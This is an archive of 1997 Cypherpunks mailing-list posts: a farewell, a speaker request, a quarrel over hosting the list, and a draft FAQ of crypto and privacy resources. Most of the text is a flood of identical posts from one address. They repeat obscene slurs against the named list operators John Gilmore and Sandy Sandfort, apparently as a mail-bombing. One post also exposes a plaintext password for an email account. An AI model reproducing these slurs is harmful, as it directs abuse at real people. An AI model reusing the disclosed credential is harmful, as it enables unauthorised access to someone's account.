From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 12 Feb 1997 15:57:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Been good to know ya ...
Message-ID: <Pine.BSF.3.91.970212174331.17862D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



Later, all.

And thanks to John for all the work he has put in to maintaining the list.

Last one to leave, turn out the lights.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tobin Fricke" <tobin@edm.net>
Date: Wed, 12 Feb 1997 17:53:37 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Speaker needed
Message-ID: <199702130153.RAA12977@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If anyone is going to be in south Orange County, California during the
third week in March, and is interested  in speaking to a group of high
school students on Cryptography and the political and economic
considerations involved, please contact me via email at tobin@mail.edm.net.
 Thank you. (I'm not on cypherpunks, so don't email the list.)

Tobin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Wed, 12 Feb 1997 15:51:20 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702120555.VAA07276@toad.com>
Message-ID: <vpn2t97ffl.fsf@grendel.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Timothy C May writes:

TCM> Since posting my comments I've just seen the proposal that tivoli
TCM> may host a list.

	Whoa, Nellie!  Who made that proposal?  It certainly wasn't
me!  I said that I was taking steps to set up a majordomo to host a
cypherpunks list.  Topmost on those steps is creation of the sten.net
or sten.org domain, and getting a personal,
paid-for-out-of-my-own-pocket, ISDN connection.  The majordomo will
run off of my personal computer sitting in my apartment, not on Tivoli
hardware sitting in the support lab.  As I said, John forced my hand
in his announcement, causing me to 'put up' before everything was in
place, including the domain registration.  Yes, my mail comes from
sten.tivoli.com.  That doesn't mean that everything I do in life is
connected to Tivoli, IBM, etc.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:38:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771176.523341.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)


The password for acct fatmans.demon.co.uk is neur0mancer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Wed, 12 Feb 1997 15:55:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pre-alpha Cpunx-resource FAQ comments sought
Message-ID: <199702122353.RAA02802@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain




Okay folks.  I have worked on this much of the day.  This is a more
formalized outline as well as a somewhat fleshed out version of
section 1 of the FAQ I am attempting to produce.

I submit this to the group for commentary and suggestions as well as
pointers to the relevant info.

This should be enough to give a flavor of what I am trying to do.
Anything in [] needs to be located and/or verified by myself.

I realize that this won't please everyone and some may not care.  So
be it.  

Those who do care, please help me make it less of a FAQ based
on my subjective experience and more of a useful general reference.

Here it is...


-----BEGIN PGP SIGNED MESSAGE-----


                       Cypherpunks Resources FAQ
                           version 0.000000002
                      Compiled, edited & maintained by
                  Scott Harney "Omegaman <omegam@cmq.com>"

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers of the
group to explore the background issues that Cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various newsreaders and email-filters are provided to help users filter
out some of the net's inevitable noise and glean the most useful
information they can from this forum. 

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is not intended to be an exhaustive reference.  A quick
perusal of this FAQ should reveal the impossiblity of such a task.
Rather, it is a jumping-off point.  Almost all of the references below
contain voluminous further references.  If your mission-critical
Cypherpunks site is not explicitly included, it is 99% likely to be
referred to by at least one of them.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks faq"
to omegam@cmq.com.  As with nearly all net.publications, this document
is in a constant state of contruction.  When information in the FAQ is
updated, I will also post a "what's new" message for those who are
interested in reading additions/corrections without wading throught the
entire FAQ again. 


- -------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- - Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

- -------*********--------*********---------********--------*********------

Premliminary Outline

Section 1 - Introduction and General Information.  

Q1.1 Does this newsgroup/mailing-list have a charter?
Q1.2 How did the group get started?  
Q1.3 What do Cypherpunks want? 
Q1.4 What happened to the toad.com mailing list?  Are there archives?
Q1.5 Are there other groups besides Cypherpunks who share these goals.
Q1.6 What have the Cypherpunks done to advance their goals other that
     merely talk about them?
Q1.7 I'm interested, what can I do?  
Q1.8 What are all these terms and acronyms anyway? (A Quick n' Dirty 
     Glossary)

Section 2 - Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
     remailer software.  software to make remailer usage simpler
     (premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
     explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
     work.  sci.crypt faq
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
     Schneir's essay.  Use your brain.

Section 3 - Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
     good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 - Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
     bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (got to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
[Others?  I'm getting sleepy, names escaping me at the moment]

Section 5 - Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
     into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
     [Possibly include generic examples from own experience and list 
     user's experience who wish to contribute.  Specific names will 
     be ommitted of course.  Also score information for those 
     interested]
Q5.4 point to information on other utilities and verification-type
     schemes [NoCeM's]

Section 6 - Personal motivations, thank-you's, etc.  

*********----------**********----------**********---------*********----
Section 1.  Introduction and General Information

Q1.1 Do the Cypherpunks have an official charter?

No.  Cypherpunks are anarchic in nature so the notion of an official
charter is directly contrary to such ideals.  

The two statements below are from Original Cypherpunks (OC's) Eric
Hughes and Tim May.  The first was part of the original welcome
message to the mailing list hosted at toad.com.  The second was
suggested by Tim to the original list and commented upon by the
readership.  Both statements are accepted by much of the readership as
good indicators of what Cypherpunks are about.

Eric Hughes' statement:
 "Cypherpunks assume privacy is a good thing and wish there were more
  of it.  Cypherpunks acknowledge that those who want privacy must
  create it for themselves and not expect governments, corporations, or
  other large, faceless organizations to grant them privacy out of
  beneficence.  Cypherpunks know that people have been creating their
  own privacy for centuries with whispers, envelopes, closed doors, and
  couriers.  Cypherpunks do not seek to prevent other people from
  speaking about their experiences or their opinions.

  The most important means to the defense of privacy is encryption. To
  encrypt is to indicate the desire for privacy.  But to encrypt with
  weak cryptography is to indicate not too much desire for privacy.
  Cypherpunks hope that all people desiring privacy will learn how best
  to defend it.

  Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
  to learn about it, to teach it, to implement it, and to make more of
  it.  Cypherpunks know that cryptographic protocols make social
  structures.  Cypherpunks know how to attack a system and how to
  defend it.  Cypherpunks know just how hard it is to make good
  cryptosystems.

  Cypherpunks love to practice.  They love to play with public key
  cryptography.  They love to play with anonymous and pseudonymous mail
  forwarding and delivery.  They love to play with DC-nets.  They love
  to play with secure communications of all kinds.

  Cypherpunks write code.  They know that someone has to write code to
  defend privacy, and since it's their privacy, they're going to write
  it.  Cypherpunks publish their code so that their fellow Cypherpunks
  may practice and play with it.  Cypherpunks realize that security is
  not built in a day and are patient with incremental progress.

  Cypherpunks don't care if you don't like the software they write. 
  Cypherpunks know that software can't be destroyed.  Cypherpunks know
  that a widely dispersed system can't be shut down.

  Cypherpunks will make the networks safe for privacy."

Tim May's statement:
 "Alt.cypherpunks is for the unmoderated discussion of cryptography
  and the political, social, and economic implications of
  unrestricted, strong cryptography. The Cypherpunks grpup has existed
  since 1992 and has been central in the debate about strong crypto,
  government restrictions, crypto anarchy, and in showing weaknesses
  of various ciphers and security products. The mailing list has had
  as many as 1500 subscribers, plus gateways to newsgroups and Web
  sites. It is expected that 'alt.cypherpunks' will be a free-wheeling
  forum for many viewpoints. As it is unmoderated, readers are
  strongly advised to learn how to use filters and other tools for
  making virtual anarchies manageable for their own tastes."


Q1.2 How did the group get started?

Needless to say, the history of such things is fuzzy at best.  

Eric Hughes and Tim May had some discussions which led to Eric Hughes,
decision to host a meeting.  Concidently, the first meeting occurred the
same week PGP 2.0 was released.  John Gilmore offered his site to host a
mailing list, and thus Cypherpunks were born.  see Q1.2, Q1.4, and Q1.6
for references containing more detail.

also see: [Wired article URL]
           
Q1.3 What do Cypherpunks want?

Such a simple question with no simple, short answer.  Please explore
the following sites.

Tim May's provacative (and large!) Cyphernomicon
 http://www.oberlin.edu/~brchkind/cyphernomicon/

The Berkeley Cypherpunks site is another good starting point.
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html

Also see: 
http://www.offshore.com.ai/security/ - Vince Cate's
Cryptorebel/Cypherpunk Page 

http://www.eskimo.com/~joelm/ - Joel McNamara's Electronic Privacy
Page

Q1.4 What happened to the toad.com mailing list?  Are there archives?

As with all Cypherpunks issues, there is much controversy surrounding
the dissolution of the original list hosted by John Gilmore's machine
@toad.com.  Some say that noise devoured the list to such a point as to
make it useless, driving away the "good posters".  Others argue that
the failed attempt at moderating the list to eliminate some of that
noise was the final nail in the coffin.

Whatever the reason, Gilmore told the Cypherpunks that it was time to
find a new home.  Running a mailing list with 1500+ subscription base
and the enormous volume that the list had is not a simple task.  The
physical running of the list on a single machine requires enormous
computational resources as well as constant human intervention.

Perhaps the resultant newsgroup and distributed mailing list approach
is more in line with Cypherpunk ideals.  "Cypherpunks know that a
widely dispersed system cannot be shut down."

Archives of the original list are available to some degree at:
http://infinity.nus.sg/cypherpunks/
http://weber.u.washington.edu/~phantom/cpunk/index.html

Users interested in running a "node" of the distributed mailing list
version of this newsgroup are encouraged to subscribe to Igor Chudov's
discussion list on the subject.  Send a message to majordomo@algebra.com
with the body "subscribe cypherpunks-hosts"

Q1.5 Are there other groups besides Cypherpunks who share these goals?

The following organizations and sites share Cypherpunk goals to a
greater or lesser extent.

The EFF(Electronic Frontier Foundation) http://eff.org
http://eff.org/pub/ITAR_export/HTML/hot.html &
http://www.eff.org/pub/Privacy/hot.html - more specific references &
extensive archival information

EPIC (Electronic Privacy Information Center)
http://epic.org

Voter's Telecommunications Watch
http://www.vtw.org

Center for Democracy and Technology 
http://www.cdt.org

The Cryptography List at C2Net is also a good resource.
send a message to Majordomo@c2.net with the body "subscribe
Cryptography"

The Coderpunks list at toad.com is a technical discussion forum.
Send a message to majordomo@toad.com with the body "subscribe
coderpunks"

Q1.6 What have the Cypherpunks done to advance their goals other that
merely talk about them?

Many Cypherpunks are professionals in the computer security field.
Others work for companies and corporations which create and distribute
products utilizing strong cryptography.

Cypherpunks are also directly responsible for the creation and running
of Type I and Type II(mixmaster) Cypherpunks anonymous remailers
(surprising, eh?).  see Q2.5

Cypherpunks have also produced software to make good crypto easier for
the masses. [Get permission from PGP-front end producers to reference here]

The Linux-IPSEC project is another good example. [see & subscribe ref?].

Mykotronx exposure and dumpster diving excursion. [reference?]

see Q1.4(list-archive sites)

Q1.7 I'm interested, what can I do?  

First of all READ before you post.  Observe simple etiquette.  Don't
clutter the group with "me too" posts and questions which you can
easily find the answer to yourself.  Contribute signal, not noise.

As of this writing, RSA, inc. is hosting a contest to crack the
government standard DES 56 bit algorhythm.  See
[http://www.rsa.com/contest] for full details.

Also see Peter Trei's site for software and info.

Host a portion of the distributed mailing list.  See Q1.5.

Run an anonymous or pseudonymous remailer. see Q1.6 for site references
and software.

Use strong crypto.  Encourage friends to use it as well.  Increase the
amount of encrypted traffic on the net.

Can you code?  There are plenty of projects and opportunites yet to be
explored.  Black Unicorn writes:
 "Where is highly sophisticated stego?
  Where are larger keys for symetric ciphers?
  Where is a fully functional and secure "stealth PGP"?
  Where are anonymous and encrypted WWW clients and hosts which permit
  chaining?

  If the crypto war is going to be lost it will be lost in the chill of
  development when crypto regulation is put into place.

  If you don't make the guns in the first place, the government has a much
  easier time taking them away."


Q1.8 What are all these terms and acronyms anyway?

Here's a quick-n-dirty glossary.

GAK = Government access to keys.  Government euphemisms for GAK include
"key escrow" and "key recovery" (actually important for corporations,
but misused in recent USG proposals)

USG = United States Government

ITAR = International Trade and Arms Regulations.  Regulations export of
arms from the US.  Strong Crypto is regulated as a weapon by this
document. see Q3.2

EAR = Encryption Algorhythm Regulations (a guess, look it up)  Recent
proposals by Clinton Administration.  see Q3.2

TLA = Three Letter Acronym/Agency.  Refers to USG agencies (typically
involved in law enforcement) FBI, CIA, NSA, etc.

NSA = National Security Agency.  This highly secretive agency is
responsible for the protection of USG secrecy via encryption as well as
the spying on other governments by breaking encryption algorhythms.
see Q4.8

DES = US Data Encryption Standard algorhythm. see Q2.9

RSA = a company and a public key algorhythm.  see Q2.9  and Q2.3

net.loon/kook = a purely subjective characterization.

Signal-to-Noise ratio = Signal refers to on-topic posts.  Noise, the
opposite.  A high S/N ratio means the list is putting out a lot of
signal("good posts").  Subjective, but fairly obvious.  See Section 5
for pointers no how to reduce (what you think is) noise

Memes = [get a good definition here]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        [Rest of FAQ goes here :)   This is a pre-alpha FAQ, intended
         only to solicit commentary and suggestions.]

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:49:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770998.521798.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:51:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771046.522224.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:11:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771069.522398.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:13:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771142.523027.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:11:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771128.522894.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:13:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771010.521891.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:11:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771157.523174.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:15:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770907.521038.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
